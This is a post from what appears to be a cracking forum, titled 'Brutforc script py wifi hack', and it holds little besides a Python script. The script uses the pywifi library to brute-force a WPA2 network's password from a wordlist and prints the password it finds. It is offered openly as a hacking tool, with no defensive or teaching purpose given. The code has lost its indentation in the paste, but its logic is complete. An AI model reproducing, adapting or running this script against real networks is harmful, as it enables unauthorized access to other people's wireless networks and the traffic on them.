• Join CraxPro and earn real money through our Credit Rewards System. Participate and redeem credits for Bitcoin/USDT. Start earning today!
    Read the detailed thread here

Brutforc script py wifi hack

Currently reading:
 Brutforc script py wifi hack

Sasaleb21

Member
LV
0
Joined
Mar 26, 2023
Threads
4
Likes
1
Awards
1
Credits
482©
Cash
0$
#!/usr/bin/env python 3.7
# -*- coding: utf-8 -*-
import argparse
import sys
import os
import os.path
import platform
import re
import time
try:
import pywifi
from pywifi import PyWiFi
from pywifi import const
from pywifi import Profile
except:
print("Installing pywifi")

# By Brahim Jarrar ~
# GITHUB : https://github.com/BrahimJarrar/ ~
# CopyRight 2019 ~
RED = "\033[1;31m"
BLUE = "\033[1;34m"
CYAN = "\033[1;36m"
GREEN = "\033[0;32m"
RESET = "\033[0;0m"
BOLD = "\033[;1m"
REVERSE = "\033[;7m"
try:
# wlan
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.scan() #check the card
results = ifaces.scan_results()

wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
except:
print("[-] Error system")
type = False
def main(ssid, password, number):
profile = Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP

profile.key = password
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
time.sleep(0.1) # if script not working change time to 1 !!!!!!
iface.connect(tmp_profile) # trying to Connect
time.sleep(0.35) # 1s
if ifaces.status() == const.IFACE_CONNECTED: # checker
time.sleep(1)
print(BOLD, GREEN,'[*] Crack success!',RESET)
print(BOLD, GREEN,'[*] password is ' + password, RESET)
time.sleep(1)
exit()
else:
print(RED, '[{}] Crack Failed using {}'.format(number, password))
def pwd(ssid, file):
number = 0
with open(file, 'r', encoding='utf8') as words:
for line in words:
number += 1
line = line.split("\n")
pwd = line[0]
main(ssid, pwd, number)


def menu():
parser = argparse.ArgumentParser(description='argparse Example')
parser.add_argument('-s', '--ssid', metavar='', type=str, help='SSID = WIFI Name..')
parser.add_argument('-w', '--wordlist', metavar='', type=str, help='keywords list ...')
group1 = parser.add_mutually_exclusive_group()
group1.add_argument('-v', '--version', metavar='', help='version')
print(" ")
args = parser.parse_args()
print(CYAN, "[+] You are using ", BOLD, platform.system(), platform.machine(), "...")
time.sleep(2.5)
if args.wordlist and args.ssid:
ssid = args.ssid
filee = args.wordlist
elif args.version:
print("\n\n",CYAN,"by Brahim Jarrar\n")
print(RED, " github", BLUE," : https://github.com/BrahimJarrar/\n")
print(GREEN, " CopyRight 2019\n\n")
exit()
else:
print(BLUE)
ssid = input("[*] SSID: ")
filee = input("[*] pwds file: : ")

# thx
if os.path.exists(filee):
if platform.system().startswith("Win" or "win"):
os.system("cls")
else:
os.system("clear")
print(BLUE,"[~] Cracking...")
pwd(ssid, filee)
else:
print(RED,"[-] No Such File.",BLUE)

if __name__ == "__main__":
menu()

Hack
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Top Bottom